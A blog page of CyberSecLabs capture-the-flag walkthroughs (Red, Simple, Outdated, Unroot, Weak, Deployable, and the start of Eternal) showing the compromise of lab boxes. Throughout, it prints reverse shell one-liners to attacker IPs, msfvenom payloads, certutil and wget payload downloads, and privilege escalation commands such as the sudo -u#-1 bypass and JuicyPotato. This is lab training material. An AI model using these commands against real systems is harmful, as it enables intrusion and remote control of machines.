Netcat – OutRunSec

CyberSecLabs – “Red” Walkthrough

Red is a beginner level box from CyberSecLabs hosting a webserver using a service known as Redis. I’ll show you the Metasploit route to get a shell, and then a manual method to get a shell. After we’ve established our foothold on the box, we’ll enumerate the file system where we’ll exploit a interesting file that allows us to escalate our privileges.

Red’s IP Address 172.31.1.9

Here we go.

Scanning and Enumeration

As per usual we start with a Nmap scan of the target. Get in the habit of scanning all TCP ports, as with Red if you only scan the top 1000 ports you will miss port 6379.

Red has three open ports. SSH on 22, a web server on 80, and a uncommon port of 6379 which is hosting Redis 4.0.8.

I’ll use Gobuster to find any hidden directories that might be lurking behind port 80.

gobuster dir –wordlist /usr/share/wordlists/dirb/big.txt –url 172.31.1.9

Didn’t find very much using Gobuster. Only a couple of directories and nothing that looks particularly interesting.

When I encounter a webserver or a HTTP port I always can it with Nikto. Here again we confirm the hidden directories we found with Gobuster. However we don’t find anything else useful.

I’ve mentioned this before but SSH on port 22 in terms of penetration testing is rarely the initial entry point for a box. There are exploits for SSH, but in my experience SSH is used primarily in the post-exploitation phase either for privilege escalation or establishing a better shell once you’ve obtained credentials.

That leaves us with port 6379 and the service Redis. I wasn’t familiar with Redis prior to this box, so I did google search and found Redis stands for Remote Dictionary Server. It’s used as a database for a webserver and message broker among other things. Great. So it works along with the webserver on port 80.

If you’d further information on Redis and how to exploit it there’s a great presentation available from ZeroNights.

A quick and dirty Searchsploit reveals we a couple options for exploits including one Metasploit module.

Metasploit Route

Since we found a Metasploit module for Redis. Let’s see if we can get a shell using this exploit. Fire up msfconsole and search for Redis.

We’ll use the 4th exploit since we don’t have credentials yet and its an unauthenticated exploit.

Configure the following parameters and run the exploit.

use exploit/linux/redis/redis_unauth_exec
set RHOSTS 172.31.1.9
set SRVHOST 10.10.0.22
set LHOST 10.10.0.22
run

I think it took me two tries and the first time I didn’t have a parameter set correctly. On the second attempt I did establish a meterpreter session.

Manual Exploitation

To begin let’s connect to the Redis port 6379 using Netcat. You’ll want to add the -v flag for verbose. Since we can run the info command and return results that means we have unauthenticated access to Redis.

Now we need to get a working exploit that will allow us remote code execution. Let’s do a google search for “redis rce” and see what’s available.

The second search result is exactly what I wanted. Github link here.

Run the rce.py script and see what parameters are required.

We need the basics of course: RHOST, RPORT, LHOST, LPORT. All of which we already have. However we will need a module file which is not provided by this exploit. Back to google!

I did a search for “redis execute module” and found one located on Github. Click here.

RedisModules-ExecuteCommand – Quick start

Clone the Github repository to your local machine. Navigate to the directory and in terminal use the Make command to build the module.so file.

With the module.so file created we are ready to launch the exploit.

python3 rce.py -r 172.31.1.9 -L 10.10.0.14 -f module.so

Before we continue with the Redis RCE let’s switch over to another terminal window and again use Netcat to connect to the Redis service.

Here we will attempt to execute a reverse shell using the system.exec command. That tells Redis that we want to issue commands on the local system.

Here you can see I tried a simple bash reverse shell on two different ports before I went on to the python reverse shell. You can find both here.

python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\”10.10.0.14\”,1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\”/bin/sh\”,\”-i\”]);’

Remember to setup another netcat listener on your favorite port before executing the reverse shell command.

I was able to get a reverse shell using python3. Now we have our lower privileged user Redis.

nc -lvnp 1337
whoami
python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

Privilege Escalation

Spoilers. All of the write-ups for the box typically rely on a tool called pspy64 to analyze running processes and that is used to find the privilege escalation path. I wanted to challenge myself and see if I could find the same information but only using LinPEAS.

First I’ll transfer LinPEAS to the target and run it.

wget http://10.10.0.14/linpeas.sh
ls
chmod +x linpeas.sh

Scroll down to the “Interesting writable files owned by me or writable by everyone (not in Home)” section of the LinPEAS output.

There’s not much here but one thing caught my eye at the end of the section. We have writeable files related to Redis in /var/log.

I navigated to /var/log/redis and listed the files in the directory. Boom. Here we find a log-manager.sh script. Cat out the contents and let’s analyze what the script is doing.

We see the shebang for /bin/bash which declares this is a bash script. The next line contains a For Loop. This script says for each file in /var/logs/redis/logs, execute the file by name. Basically while this is running any file we place in the folder will be execute by the script. Perfect.

Since we successfully executed a python reverse shell from the target we know that works, so lets create a file that will execute that same reverse shell and connect back to us.

Reverse shell script:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.0.14\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'

Transfer the shell file to the target in the folder specified in the script. Give the file execute permissions with chmod. Remember to setup your Netcat listener again on the port you specified in the shell file.

wget http://10.10.0.14/shell
chmod +x shell

Run the log-manager.sh script.

If you setup the shell file correctly it will connect back to you as the Root user.

Capture the Flags!

Finish the box and capture the access.txt and system.txt flags.

That’s Red from CyberSecLabs. This is a awesome beginner box as it forces you to enumerate a uncommon port and exploit a service you might not be familiar with. Also if you took the time to go the manual route it forces you to combine multiple exploits together in order to get the low privilege user. I think its valuable to use pspy64 for practice however I wanted to challenge myself on this one by only using my favorite enumeration script.

Thanks for reading!

CyberSecLabs – “Simple” Walkthrough

Simple from CyberSecLabs is a beginner Linux box hosting a CMS Made Simple website. We’ll gain access to the target through a SQLi attack to find creds and then get a reverse shell through the admin web console. Finally we’ll use a binary with the SUID bit set to escalate our privileges to root.

Let’s get started.

Simple’s IP address is 172.31.1.2

Scanning and Enumeration

As always we start with a simple Nmap scan of the target.

Initial Nmap scan reveals to open ports. SSH on port 22, and HTTP on port 80. Which is also hosting a webserver.

Since we used -sC for default scripts, the Nmap scan results display the header info where we see its a website running on CMS Made Simple.

We discovered a web server let’s go ahead and run Gobuster to find any hidden or interesting directories.

gobuster dir –wordlist /usr/share/wordlists/dirb/big.txt –url 172.31.1.2

Fairly standard directories for a web server, however let’s note the the /admin which most likely contains a login page, and the /uploads folder which we might be able to use later on.

Now let’s check out the site in our browser and see if can learn anything else.

Confirmed our webserver is hosting a CMS Made Simple site. If we keep scrolling down to the bottom of the page we get the version information.

With the versioning information for CMS Made Simple we can start to look for relevant exploits. I’ll do a easy Searchsploit to check for available exploits.

Searchsploit results show a few exploits, but only one of them looks like it applies to our version. That’s the CMS Made Simple < 2.2.10 – SQL Injection.

It’s important to note here that while this isn’t an exact version match of 2.2.4. The presence of the < less than symbol means our exploit works for all versions prior to 2.2.10.

Exploitation

We have an exploit, we just need to run it and let it do its work. To check required arguments and prerequisites I run the exploit with no flags or args.

I immediately get a error. It’s an import error which occurs at the beginning of the python script. A module called termcolor isn’t found. I did a quick google and all we need to do is install this module to resolve the error.

Use pip to install the “termcolor” module.

With termcolor installed we can run the exploit. It’s a SQL injection attack which will enumerate the database for information on users, and will crack any hashes found with a wordlist you supply. I’m using the standard rockyou.txt wordlist included on Kali.

python2 exploit.py -u http://172.31.1.2 –crack -w /usr/share/wordlists/rockyou.txt
Exploit results

Success. We’ve enumerated the database and found a user named David and his password hash. Using the Rockyou.txt wordlist we cracked the hash and revealed the password.

Login to the /admin page we found earlier using the credentials we discovered. Enumerate the website. Under Content, we find a File Manger that allows us to upload files to the web server.

We have access to the web site file manger. We need to upload a reverse shell that will connect back to our attacker machine and provide a remote shell.

The tried and true PHP reverse shell from PentestMonkey will serve our purposes. This reverse shell is also located on our Kali box.

You’ll need to open up the script and modify the IP and Port information before uploading. After a few tries, I notice that the upload is failing. Most likely the website is filtering certain file extensions. Simply modify the file extension to shtml.

The reverse shell is uploaded. Setup a Netcat listener on the port you specified and navigate to the shell’s URL to execute the script.

We have a reverse shell as the David user. However, this shell is limited. I’ll use python to attempt to spawn a bash prompt.

python -c ‘import pty;pty.spawn(“/bin/bash”)’
python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

The first attempt didn’t work because python3 is installed not python 2. Making this adjustment allowed us to spawn a bash prompt as david@simple. This allows us greater flexibility and options while working in the shell.

Privilege Escalation

With a shell established as the low privileged user David we have access to the target. It’s time to enumerate the file system. For this I’ll be using LinPEAS.

First we need to transfer LinPEAS to the target.

Looks like we don’t have access to write to David’s home folder. So I change directory into /tmp and then transfer the file again using wget.

wget http://10.10.0.22/linpeas.sh
cd /tmp
wget http://10.10.0.22/linpeas.sh

Scrolling through the LinPEAS output, under the Interesting Files section we find a binary with the SUID bit set. Systemctl.

Always always always look up binaries you find up GTFObins. Here we see the page for systemctl.

https://gtfobins.github.io/gtfobins/systemctl/

Basically we need to create a something.service file and then link it with systemctl. Inside the .service file we need to specify the command we want executed as root. You could modify this to collect other information but what we need is the root flag. Instead of using echo to create the file locally, I’ll create it on our Kali box and then transfer it with wget.

I named the file bad.service and it’s ready to transfer. I tried using the /tmp directory but that didn’t work. I eventually found the /dev/shm directory.

With bad.service transferred to the target we just need to issue a few commands to complete the exploit. The first will link the bad.service with systemctl. The second command starts or enables the service. Since the service is running and doesn’t show its output in the terminal, we need one more command to view the status. Inside the status we find the flag as the result of cat /root/system.txt.

/bin/systemctl link /dev/shm/bad.service
/dev/shm$ /bin/systemctl enable –now bad.service
/bin/systemctl status bad.service

Simple from CyberSecLabs. An interesting beginner box that demonstrates the importance of enumeration. Enumeration of the webserver front end, enumeration of the backend using the SQL injection exploit, then enumeration of the admin web console. We then enumerated the file system using LinPEAS to find our binary with the SUID bit set.

Enumerate enumerate enumerate.

CyberSecLabs “Outdated” Walkthrough

Outdated is a beginner level box from CyberSecLabs hosting an NFS share and an outdated version of FTP. After using built-in ProFTP commands to copy files we’ll get our first shell. From there we enumerate the kernel and find an exploit.

Outdated’s IP Address is 172.31.1.22.

Fire up the VPN, let’s get started.

Scanning and Enumeration

As usual we start with a Nmap scan of the target with the following flags.

-sC – run default scripts
-sV – enumerate service version

The Nmap scan results show us a handful of open ports including:
FTP on 21, SSH on 22, RPC on 111 and a NFS share on 2049.

Based on the Nmap results I want to investigate the open NFS share on port 2049. I’d say if you have an open share check that out first.

Use the showmount command to display the name of the share on port 2049. We see that’s its a folder called /var/nfsbackups/.

The next step for investigating a NFS share is to mount the share locally on your attack machine.

showmount -e 172.31.1.22
mount -t nfs 172.31.1.22:/var/nfsbackups/ /root/CSL/Outdated/Mnt/

The share is now mounted on my local machine. It appears we have a backup of three different user’s folders. Simply use LS to list all the files in those folders and we see the folders are empty.

ls -al Mnt/anna/
ls -al Mnt/daniel/
ls -al Mnt/robert/

The NFS share was a dead end. Nothing there that will help us move forward on this box. What now?

We go back to our initial Nmap scans and enumerate another port or service.

Looking at the Nmap scan I see that we have a specific version of FTP running on port 21. ProFTP 1.3.5. When you find a service/version on a open port its worth looking for available exploits.

Seachsploit is the way to do this easily from the terminal.

There’s a few exploits available. One Metasploit module and two remote exploits. Let’s take a peek at the exploit code for 36803.

It’s a python script and its making a connection to the server on port 21. If we scroll down into the meat of the code, we see that it attempts to copy the /etc/passwd file to a location of your choosing.

Viewing exploit code – exploit-db.com/exploits/36803

This is important. While this exploit won’t fit our needs exactly, we can learn and utilize pieces of this code to our advantage. If we can connect to port 21 on the target we can use ProFTP commands to copy files from the target.

Netcat can be used to make connections to a target IP address and port. I use the site help command to verify I have the correct commands to copy and paste. The important piece here is not what you are attempting to copy, but where you will paste the file. What’s the most logical choice and place we already have access to? /var/nfsbackups.

nc 172.31.1.22 21
site help
site cpfr /etc/passwd
site cpto /var/nfsbackups/passwd

As a proof of concept we attempt to copy the /etc/passwd file. While we won’t get the password hashes (those are stored separately in the /etc/shadow file, we can learn some useful information from /etc/passwd.

Cat out the contents of /etc/passwd. The only user with /bin/bash is Daniel. Which means this is the account we will utilize to get access to the target.

Exploitation

Our proof of concept was successful so let’s take that idea and use it to copy files that will help us gain access to the box.

Thinking back to our original Nmap scan results. We have SSH open on 22. Daniel is a user that has the ability to login to the target. That means we can copy his home directory and then use his RSA private key to SSH into the box as Daniel.

Follow the same steps as before but this time copy the Daniel’s home folder to /var/nfsbackups/daniel.

nc 172.31.1.22
site cpfr /home/daniel/
site cpto /var/nfsbackups/daniel

The copy shows successful, but let’s confir.

Now we see the contents of Daniel’s home folder. The RSA private keys are stored in a hidden folder called .ssh.

All we need to do is use the id_rsa file to SSH into the target.

cd Mnt/daniel/.ssh/
ls
ssh -i id_rsa daniel@172.31.1.22

Success. We used Daniel’s RSA private key to SSH into this box and we have a bash prompt as the Daniel user.

Privilege Escalation

We have access to the target as the user Daniel. Daniel is low privileged user so we will need to escalate ourselves to root. To enumerate this box we will use LinPEAS from the Privilege Escalation Awesome Suite.

I’ll use wget to transfer LinPEAS to the target. Just need to spin up a python simple web server to host the file.

python -m SimpleHTTPServer 80

With LinPEAS.sh transferred to the target we just need to chmod the file permissions to allow it to be executed. After that’s complete go ahead and run LinPEAS.

Before we get into the LinPEAS output let’s take a look at the Legend. This is important to be aware while reviewing the output and its easy to skip over. If we see something in RED/YELLOW its almost certainly a privilege escalation vector and worth investigating.

I’ll save some time here while reviewing this output. At the very top of the results we have the Basic info section. If you’ll notice we have a RED/YELLOW highlight on the Linux Kernel version which is 3.13.0.

I’ll use Searchsploit to do a quick search on that kernel version.

We have a match on the Kernel version. The kernel exploit known as “overlayfs”. If we search around a bit we can find a pre-compiled version of this exploit. You find it here.

Download the ofs_64 file and transfer it to the target. I’ll use wget and a python web server again to facilitate the file transfer.

Confirm the file transferred successfully and give it permissions to execute with chmod. Now we are ready to launch the kernel exploit.

Run the exploit. You’ll return a blank prompt. If we run whoami we see that we are now root.

Capture the Flags!

All that’s left is to capture the flags and submit the hashes.

cat /root/system.txt
cat /home/daniel/access.txt

There it is. Outdated from CyberSecLabs. A great box that shows us how to abuse the built in features of ProFTP combined with an exposed NFS share. This is also the first box from CyberSecLabs where we’ve used a kernel exploit for privilege escalation.

CyberSecLabs – “Unroot” Walkthrough

Unroot from CyberSecLabs is a beginner Linux box hosting a web server with a hidden ping-test page which we’ll exploit to get our initial low priv shell. For privilege escalation we will use a very simple Sudo exploit to get root.

Let’s get started.

Unroot’s IP Address is 172.31.1.17. Connect to the VPN and ping the target to verify connectivity.

Scanning and Enumeration

As usual we start with a simple Nmap scan of the target. Here I have -sC to run default scripts, and -sV to enumerate services.

Our Nmap output shows us we have two open ports. One being SSH on port 22, and we have HTTP on port 80. Additionally port 80 shows its running Apache and a phpmyadmin page.

Let’s explore port 80 further with directory busting. I’ll use a tool called GoBuster which is easy to use and efficient at searching for hidden directories. You’ll need a wordlist to use with Gobuster along with specifying extensions to search for. In this case I’m using the big.txt wordlist included on Kali Linux, and searching for directories and pages with the php extension since we already know the web server is hosting php.

gobuster dir –wordlist /usr/share/wordlists/dirb/big.txt –url 172.31.1.17 -x php

Gobuster revealed multiple pages and directories. Now you could go through these results one by one until you find something juicy. Let’s run another tool and see if it helps us narrow down that list. I run Nitko web scanner on any open HTTP ports I find and this target is no different.

Nikto found two interesting directories, /doc and /dev. Both have directory indexing enabled which allows us to navigate via a web browser. /Doc is usually a directory for… You guessed it documentation and manuals. /Dev sounds like it could be useful to us, let’s explore it further.

First I navigate to the target’s IP address and find a PhpMyAdmin login page. With any beginner box you might as well try a few common default passwords at a login prompt. You never know what might work. In this case, I couldn’t score a easy win with a username/password of admin/admin or anything else I tried. No worries.

Now I navigate to the /Dev directory, and we find the helpful index with a couple of pages. Info.php will show us all the php info and version information setup on this web server. That can be useful but you have to know what to look for and even then its not guaranteed to be exploitable or actionable. Next, we have ping-test.php. Ding ding ding. Red flag. This is something we can definitely exploit.

So this is a simple web page with a field to enter and run commands. It’s meant to be used to ping hosts on the network or confirm connectivity. However if it can execute the ping command, it might also allow us to run other commands.

Exploitation

We have a ping-test page with that allows us to execute commands from the target server. All we need now is a malicious command that will give us remote access to the target. This is otherwise known as a reverse shell one liner. Google will produce several cheat sheets for you to work through, lets go to one of the more well known and used cheat sheets from PentestMonkey.

We know the web server will execute php code so we can try out a php reverse shell one-liner. If you aren’t sure which one-liners to test out, you can always go down the list one by one until you get one that works.

php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’

Alternatively, I found this Netcat reverse shell one liner also worked on Unroot.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Start a Netcat listener on your favorite port and then execute the one liner on the ping-test page.

nc -lvnp 4321
whoami
python -c ‘import pty;pty.spawn(“/bin/bash”)’

You’ll get a reverse shell connection and notice this is a crappy basic shell and its somewhat limited. You could use python to spawn an interactive bash prompt. Or… If you could modify the one-liner to spawn a bash shell.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

There we go, we have nice reverse shell prompt as the user “joe”.

Privilege Escalation

Unroot is another box where we don’t need to run automated tools like LinPEAS. The path for privilege escalation can be found utilizing one of the first commands I run when I get access to a Linux system.

Sudo -l

This reveals what sudo commands can be run by the current user. In this case “joe” is allowed to run ALL commands as any user except the root user. Well that’s disappointing. !root means not the root account.

What if this version of Sudo is vulnerable to an exploit that might help us? Do sudo –version to get the versioning info on Sudo. There we see Sudo version 1.8.16 is installed.

Searching through Exploit-DB you’ll see several potential exploits. Here I searched for Sudo 1.8. I didn’t include past the second decimal, you don’t want to be too specific while searching. You could miss an exploit that applies to your version while not being an exact version match. There are a lot of exploits that apply to all versions prior.

We have 7 possible exploits on Exploit-DB. You can go through each one of these and find the one that applies to our target.

Sudo 1.8.27 – Security bypass is the one that looks promising. Looking at the exploit code, we see this exploit allows a user to execute /bin/bash as the root user even when the Sudoers file specifically says we can’t do that. So why does that work? Here’s a quick explanation from the exploit code:

Sudo doesn't check for the existence of the specified user id and executes the command with an arbitrary user id with the sudo priv.
-u#-1 returns as 0 which is root's id

So if we execute /bin/bash and provide a bogus user id, Sudo will ignore our user id and instead use an arbitrary user with the sudo privilege. Therefore bypassing the check on the user ID and executing as root.

That’s a very simplified explanation, if you care to learn more there’s plenty of information available online around this exploit.

Simply run the following command.

sudo -u#-1 /bin/bash

This runs Sudo with -u specifying the user of -1 (which doesn’t exist) and executes /bin/bash (which spawns a bash prompt). You’ll get a root prompt and from there you can capture all the flags.

That’s Unroot from CyberSecLabs. Really solid beginner Linux system which reinforces the basics of scanning and enumeration, exploitation and privilege escalation. Each step of the way its straightforward, and the only real challenge might be finding the priv esc path if you are new to pentesting.

CyberSecLabs – “Weak” Walkthrough

Weak from CyberSecLabs is a beginner box hosting a FTP file share and Mircorosft IIS web server . We’ll use Nmap and Nikto to enumerate and find a foothold. For privilege escalation we will discover a common Windows privesc path manually without using automated tools like winPEAS.

Weak’s IP Address is 172.31.1.11

Let’s get started.

Scanning and Enumeration

I’ll begin with our standard Nmap scan: -sC for default scripts, and -sV for service enumeration.

First thing I notice at the top is port 21. FTP is open and since we ran our Nmap scan with default scripts we see that anonymous login is allowed. That’s most likely our initial entry point. I see port 80 is hosting a Microsoft IIS web server. Beyond that we have Microsoft SMB ports and an assortment of higher level ports. Those don’t interest me at the moment, let’s focus on those first two for now (21, 80).

Continuing to review our Nmap results we have the Host Scripts results section. Here we learn the machine’s operating system is Windows 7 Ultimate Service pack 1. That information could be useful to us later, so make a note. Nothing else to report here. Let’s move on and enumerate the interesting open ports.

I ran the Nikto vulnerability web scanner on port 80. Nothing to interesting to report here, but we are able to confirm Microsoft IIS 7.5 is running and it’s a default installation. Which does have known vulnerabilities we might be able to leverage.

First let’s connect to FTP on port 21 as the anonymous user. If you haven’t done this before you can enter any password you like when prompted. Again for first time FTP users, you can use the HELP command to get a list of commands. I first start with a ls command to list the contents of the directory. I receive an error message. Again if you’ve used FTP before, then you’ve likely encountered this. All you need to do is enter the “passive” command to switch to Passive mode. After you’ll see I’m able to use the ls command successfully.

The directory contents appear to be in the web root folder, which is the root folder used for port 80. In most default IIS installs you’ll find a welcome.png image file.

ftp 172.31.1.11
anonymous
1234
ls
passive
ls

If we browse to the IP address and open the image in a new window. You’ll see that the welcome.png is the IIS logo image. This confirms the FTP directory is in the web root folder. So anything we upload to FTP we can then view or execute in our browser. Sound useful?

Exploitation

We’ve discovered a default IIS installation combined with a open FTP share in the web root directory. All we need to do is upload a reverse shell payload and execute it to gain access to the target. We will do this with MSFvenom.

The payload parameters took me a few tries to get right, mainly the file extension. I wasn’t sure initially which files IIS would accept and execute. So I tried a few and found success with the .aspx file extension.

msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.0.22 lport=4444 -f aspx > shell.aspx

With the payload created we need to transfer shell.aspx to the target. We’ll do this using the FTP client.

Like before you’ll connect to FTP with anonymous login, enable passive mode, and use the put command to transfer the file. Verify the file transferred successfully with a ls command.

ftp 172.31.1.11
anonymous
1234
passive
put shell.aspx
ls

After the reverse shell is transferred to the target setup a Netcat listener on the port specified in your msfvenom payload. With the listener running, navigate to 172.31.1.11/shell.aspx to execute the reverse shell.

Great! We have a low privileged shell as the IIS apppool/alpha site user. The Netcat shell is kinda limited so let’s upgrade it to a Meterpreter shell. That’ll give us more flexibility.

To start we need to create a meterpreter payload msfvenom. Our file type here will be a windows executable.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.0.22 LPORT=4321 -f exe > shell.exe

Now we will transfer the meterpreter payload using Certutil. This is a built-in utility included on most Windows operating systems and my go-to tool for windows file transfers.

cd C:\inetpub\wwwroot\
certutil -urlcache -f http://10.10.0.22/shell.exe shell.exe
dir
shell.exe

With the meterpreter payload on the target machine, we need to launch MSFconsole and configure a Exploit/Multi/Handler. Set the parameters to match your port and IP Address and run the handler.

All we need to do now is execute shell.exe and wait for the Meterpreter session to connect. Awesome, we a nice Meterpreter prompt with lots of built in options and flexibility. That will help us during the next phase.

Privilege Escalation

Privesc on this box will be a bit different, in that I won’t be running WinPEAS or any automated scripts to help us here. I found this path on my own by utilizing the whoami /priv command. It’s a good habit to run this command on any Windows box you get access to, it might lead you to towards a quick win or at least point you in the right direction for escalation.

Running whoami /priv reveals we have the SeImpersonatePrivilege privilege enabled. This allows us perform a Juicy Potato attack.

What is a Juicy Potato attack?

Juicy Potato is a variant of RottenPotatoNG which leverages the privilege escalation chain based on the BITS service having the MiTM listener on 127.0.0.1:6666 and when you have SeImpersonate or SeAssignPrimaryToken privileges.

Basically, if you have the SeImpersonate or SeAssignPrimaryToken privileges enabled for your account, you can perform this type of local privilege escalation attack.

To launch a Juicy Potato attack we will need a couple of arguments.

JuicyPotato.exe -l [Any_Port] -p [Program_To_Execute] -t * -c
[CLSID_Value]

[Any_Port] = Any working port that is not blocked by the windows
[Program_To_Execute] Path to a msfvenom exe reverse shell that will be executed and connect back to our attacker machine.
[CLSID_Value] We need to find the correct CLSID value from the list.

So the only thing we need to search for would be the CLSID value. These values are operating system specific. If you refer back to the Github page, you can download the CLSID list for whichever Windows operating system you need.

https://github.com/ohpe/juicy-potato/tree/master/CLSID

We know from our scanning and enumeration that the target is a Windows 7 system. So make sure you get the Windows 7 CLSID list.

To get started we need a couple of files transferred to the target.

JuicyPotato.exe – The executable to launch the attack
TestCLSID.bat – This bat script will test each CLSID value included in CLSID.list
CLSID.list – The list of operating system specific CLSID values to test. This list feeds the TestCLSID.bat script.

Make sure to upload JuicyPotato.exe, TestCLSID.bat and CLSID.list to same folder on the target machine.

Transferring the Juicy Potato files to the target using Meterpreter.

Start the TestCLSID.bat script and allow it to run for about 5 minutes. This should allow enough time to collect a CLSID running as the NT Authority/SYSTEM user.

Cat out the contents of the result.log and we should see many CLSID’s. Select anyone of the CLSID’s that is running under the NY Authority/SYSTEM account.

With the CLSID value selected we are ready to launch Juicypotato.exe. Refer back to the syntax above and fill in the arguments. I’ll be reusing my shell.exe file from before since its located in the same folder as the Juicy potato files.

You will need to configure the Exploit/Multi/Handler in Metasploit again for the new shell we are about to spawn.

juicypotato.exe -l 1337 -p C:\inetpub\wwwroot\shell.exe -t * -c {90F18417-F0F1-484E-9D3C-59DCEEE5DBD8}

Run the exploit and wait for the session to be opened.

Boom. We are NY Authority/SYSTEM. We’ve owned this box. Now all that’s left is…

Capture the Flags!

type “C:\Users\Web Admin\Desktop\access.txt”
type “C:\Users\Administrator\Desktop\system.txt”

So that’s Weak from CyberSecLabs. A beginner box where we exploit a FTP file share/IIS web server with anonymous access to get a reverse shell and eventually launch a token impersonation attack using Juicy Potato to escalate our privilege to NY Authority. This was my first time using Juicy Potato and doing token impersonation and it was a great learning experience.

CyberSecLabs – “Deployable” Walkthrough

Deployable from CyberSecLabs is a beginner level box where we’ll explore a default Apache Tomcat installation for initial access. Then use winPEAS to enumerate the box and find the privilege escalation path by exploiting a vulnerable Windows service.

Let’s get started.

Deployable’s IP address is 172.31.1.13.

Scanning and Enumeration

As per usual we start with the following Nmap scan to explore the open ports and services. I’m using -sC to run default scripts, -sV to enumerate service versions, and -p- to scan all TCP ports (1-65535).

Let’s review. We have Microsoft SMB, RDP, and then several uncommon ports running HTTP services. I don’t care about the 49152-49164 ports, on most beginner boxes they aren’t that interesting or useful. The next thing I want to do is run Nitko Web Vulnerability Scanner on the ports hosting HTTP.

You should run the scanner on all HTTP ports to be thorough. In an effort to keep things concise, I’ll only show you the Nikto results from port 8080.

Buried in the Nikto output I see a web page /manager/html and its for Tomcat Manager Application. It also tells us (pass protected) so we will need a password to login to the Manager app. Let’s go to our browser and check out the Apache Tomcat installation.

172.31.1.13:8080 – Apache Tomcat front page.

So here’s the front end of the Apache Tomcat site. There’s several links and things to explore here if you aren’t familiar, but the vital part is the Manager App. If you click on the manager app, you’ll be prompted for a password. I don’t know the password, so I’ll try something like tomcat/admin. As you’ll see below that didn’t work and we get a 401 unauthorized page.

172.31.1.13:8080/manager/html – Login Error

This is where it pays to read all error messages even if they might not seem important at first glance. One of the default passwords for Tomcat is given here. Tomcat for the username and s3cret as the password. Now you could look up a wordlist of Tomcat passwords and in that list you’d find this combination. Another approach would be to use Burpsuite to launch a password attack on the login form. That’s a good exercise but not required for this beginner box.

Login to the Manager App with the credentials. You’ll be taken to the Tomcat Web Application Manager page. Here we see all the Tomcat applications listed.

Inside the Tomcat Web Application Manager

Exploitation

Inside the Tomcat Manager if you scroll past the list of applications we have the Deploy section. We have two options to upload a WAR (Web application resource) file. One from a file located on the server, which we don’t have access to yet, and another to select local file to upload.

If you aren’t aware of haven’t dealt with WAR files, MSFvenom from Metasploit has the ability to create WAR file payloads. You can look up a MSFvenom cheat sheet like this one at HackTricks, and find the correct payload parameters.

The important part is the java/jsp_shell_reverse payload parameter and then specifying the file type as a WAR file. For good measure I added the execute permission with chmod.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.0.22 LPORT=4321 -f war > shell.war

With the payload generated go back to the Tomcat Manager and upload your WAR file. You’ll see the shell added to the list of applications at the bottom.

/shell uploaded as a deployable WAR file.

Setup a Netcat listener on the same port you specified in your MSFvenom payload and click on the /shell application link in the Tomcat application manger to execute the WAR file reverse shell.

Excellent. We have a shell and we are the tomat user. That’s a great start but we’ll need to escalate our privileges if we want to own this box.

Privilege Escalation

For this box we will be using winPEAS for enumeration and getting a lay of the land. You could check all of these manually of course but winPEAS is a fast and thorough option you should definitely check out. To get started we need to transfer the winPEAS executable to the target machine.

I’ll use the http.server module for python3 on port 80 to host the file on my attacker machine.

My favorite windows transfer tool and one of the easiest for beginners is Certutil. This is a built-in utility that’s present on most Windows operating systems.

certutil -urlcache -split -f http://10.10.0.22/winPEAS.exe winPEAS.exe

Transfer the winPEAS.exe file to the target and run winPEAS. Increase the number of lines in your terminal if you have trouble scrolling through the output, or you can echo the output of winPEAS into a text file for easier reading.

winPEAS generates a lot of output because its very comprehensive in terms of privilege escalation techniques and enumerating the operating system. Scroll down until you find the Services information.

Here we see red text indicating an interesting finding, or something worth exploring as a potential route for privilege escalation. We have a service named Deploy and it has no quotes around the folder path. This is called a unquoted service path.

Let’s look at the service itself and confirm this winPEAS finding by using the built-in windows service utility.

As you can see in the Binary_Path_Name field we confirm the unquoted service path is present for the Deploy service.

To exploit this vulnerability we need to insert our own malicious executable into the Deploy Ready folder. Typically as a low privileged user you won’t be able to write to the Program Files folder.

To create the executable we will once again use msfvenom to generate the payload. This time it will be suited for a Windows operating system and with the file type of a windows executable. Call it Service.exe.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.0.22 LPORT=1234 -f exe > Service.exe

We have our reverse shell payload created and are ready to transfer the file to the target. First we’ll change directory into the C:\Program Files\Deploy Ready\ folder. For the transfer we will use certutil again. I confirm the file is in place with a quick dir command.

cd “C:\Program Files\Deploy Ready”
certutil -urlcache -split -f http://10.10.0.22/Service.exe Service.exe
dir

With the Service.exe payload transferred and our Netcat listener running, we are now ready to start the Deploy service. I’ll do that with the “sc start Deploy” command.

There we go! As the service starts it executes our reverse shell payload and connects back to our Netcat listener. We have escalated our access to the NT authority/system account. OWNED! Now we are ready to…

Capture the Flags!

type C:\Users\tomcat\Desktop\access.txt
type C:\Users\Administrator\Desktop\system.txt

That’s Deployable from CyberSecLabs. I personally enjoyed this beginner box. Like the others at CyberSecLabs the initial exploit and privilege escalation techniques are widely used and cover the basics. Enumerating HTTP ports, gaining access to Tomcat Manager, uploading a reverse shell. Transferring files to the target, exploiting a vulnerable service. All solid techniques even if they feel easy to you. That’s good! Take notes you’ll be using them again for sure.

CyberSecLabs – “Eternal” Walkthrough

Eternal from CyberSecLabs is a Window box with a well known SMB remote code execution exploit. I’ll show you how to exploit it with Metasploit, and using a OSCP approved manual tool.

My first Capture the Flag Write-up!

Let’s get started. We are working on Eternal from CyberSecLabs which is a Windows box that lives at 172.31.1.10.

Scanning

I start with the following Nmap scan. This is my favorite scan to start with. It does not work in all scenarios against all targets, but it usually provides enough information to get you started.

nmap -sC -sV -oN nmap 172.31.1.10

-sC = Runs default scripts
-sV = Enables Service Version Scanning
